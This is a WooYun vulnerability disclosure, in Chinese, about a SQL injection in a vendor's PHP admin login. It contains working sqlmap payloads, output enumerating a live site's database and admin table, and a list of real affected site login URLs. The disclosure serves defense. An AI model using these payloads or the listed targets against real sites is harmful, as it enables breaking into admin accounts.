当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074536

漏洞标题:某通用系统存在SQL注入第二波

相关厂商:西安网科创想

漏洞作者: 小邪

提交时间:2014-09-01 17:34

修复时间:2014-11-30 17:36

公开时间:2014-11-30 17:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-01: 细节已通知厂商并且等待厂商处理中
2014-09-06: 厂商已经确认,细节仅向厂商公开
2014-09-09: 细节向第三方安全合作伙伴开放
2014-10-31: 细节向核心白帽子及相关领域专家公开
2014-11-10: 细节向普通白帽子公开
2014-11-20: 细节向实习白帽子公开
2014-11-30: 细节向公众公开

简要描述:

通用后台post注入 影响百余个客户

详细说明:

客户案例地址:http://www.xanet.net/case.php
默认后台地址:/admin或/myadmin
logincheck.php

$username = !empty($_POST['username']) ? trim($_POST['username']) : '';
$password = !empty($_POST['password']) ? md5(md5(trim($_POST['password']))) : '';//给变量赋值 只是过滤了空格
$imgpost = !empty($_POST['imgpost']) ? strtolower(trim($_POST['imgpost'])) : '';
$imgcheck = strtolower($_SESSION['seccode']);
if(empty($imgpost))
{
goBakMsg("验证码不能为空!");
exit();
}
if($imgcheck!=$imgpost)
{
goBakMsg("验证码错误!");
exit();
}
if(empty($username) || empty($password))
{
goBakMsg("用户名或密码不能为空!");
exit();
}
else
{
$sql = "SELECT * FROM wkcx_admin
WHERE admin_name='$username'
AND admin_pwd='$password'";
$res = $db->query($sql);//可以看到这里没做任何过滤直接带进库


漏洞证明:

我们还是拿厂商站进行测试 注入地址:http://www.xanet.net/admin/login
数据包:

POST /admin/logincheck.php HTTP/1.1
Host: www.xanet.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xanet.net/admin/login/
Cookie: Hm_lvt_25f34f5de3056605ddffaab8f3686f77=1409034723,1409034928,1409051021,1409184510; lzstat_uv=24094145853488239539|1356822; PHPSESSID=3fj3079l6iru6bnuf1f6vtsci7
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
username=admin&password=123&imgpost=jzkj


sqlmap

Place: POST
Parameter: username
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: username=admin' RLIKE IF(6754=6754,0x61646d696e,0x28) AND 'lPoJ'='l
PoJ&password=123&imgpost=jzkj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=admin' AND (SELECT 6919 FROM(SELECT COUNT(*),CONCAT(0x3a72
76643a,(SELECT (CASE WHEN (6919=6919) THEN 1 ELSE 0 END)),0x3a77666f3a,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'OAzU'='OAzU&
password=123&imgpost=jzkj
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=admin' AND SLEEP(5) AND 'KgLq'='KgLq&password=123&imgpost=
jzkj
---
[13:13:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[13:13:45] [INFO] fetching database names
[13:13:45] [INFO] the SQL query used returns 2 entries
[13:13:45] [INFO] retrieved: information_schema
[13:13:45] [INFO] retrieved: a1109164927
available databases [2]:
[*] a1109164927
[*] information_schema


Database: a1109164927
[8 tables]
+----------------+
| wkcx_admin |
| wkcx_class |
| wkcx_config |
| wkcx_content |
| wkcx_data |
| wkcx_guestbook |
| wkcx_jiaose |
| wkcx_left |
+----------------+


Database: a1109164927
Table: wkcx_admin
[4 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| admin_name | varchar(50) |
| admin_pwd | varchar(50) |
| admin_type | varchar(50) |
| id | int(11) |
+------------+-------------+


影响百余个客户 我这里列一些出来
http://www.xanet.net/admin/login/
http://www.weishangzhiye.com/admin/login/
http://www.hzmflower.com/admin/login/
http://news.nwu.edu.cn/xiaoqing/admin/login.php
http://dashenggz.com/admin/login/
http://wwwhottun-china.com/admin/login/
http://www.xayinji.com/admin/login/
http://www.sxzqcl.com/admin/login/
http://www.weishangzhiye.com/admin/login/
http://changyoukangfu.com/admin/login/
http://www.sxaxzxxh.com/admin/login/
http://delanyanuo.com/admin/login/
http://www.bianshundq.com/admin/login/
http://www.elrjy.com/admin/login/
http://ssdljxl.com/admin/login/
http://www.dky53.com/admin/login/
http://www.adotlighting.com/admin/login/
http://www.aideshengtai.com/admin/login/
http://gelinjiaju.com.cn/admin/login/
http://www.gjbhyj.com/admin/login/
http://www.qyqyjt.com/admin/login/
http://www.sxzstzgs.com/admin/login/
http://www.jdsh88.com/admin/login/

修复方案:

过滤

版权声明:转载请注明来源 小邪@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-09-06 09:48

厂商回复:

最新状态:

暂无


漏洞评价:

评论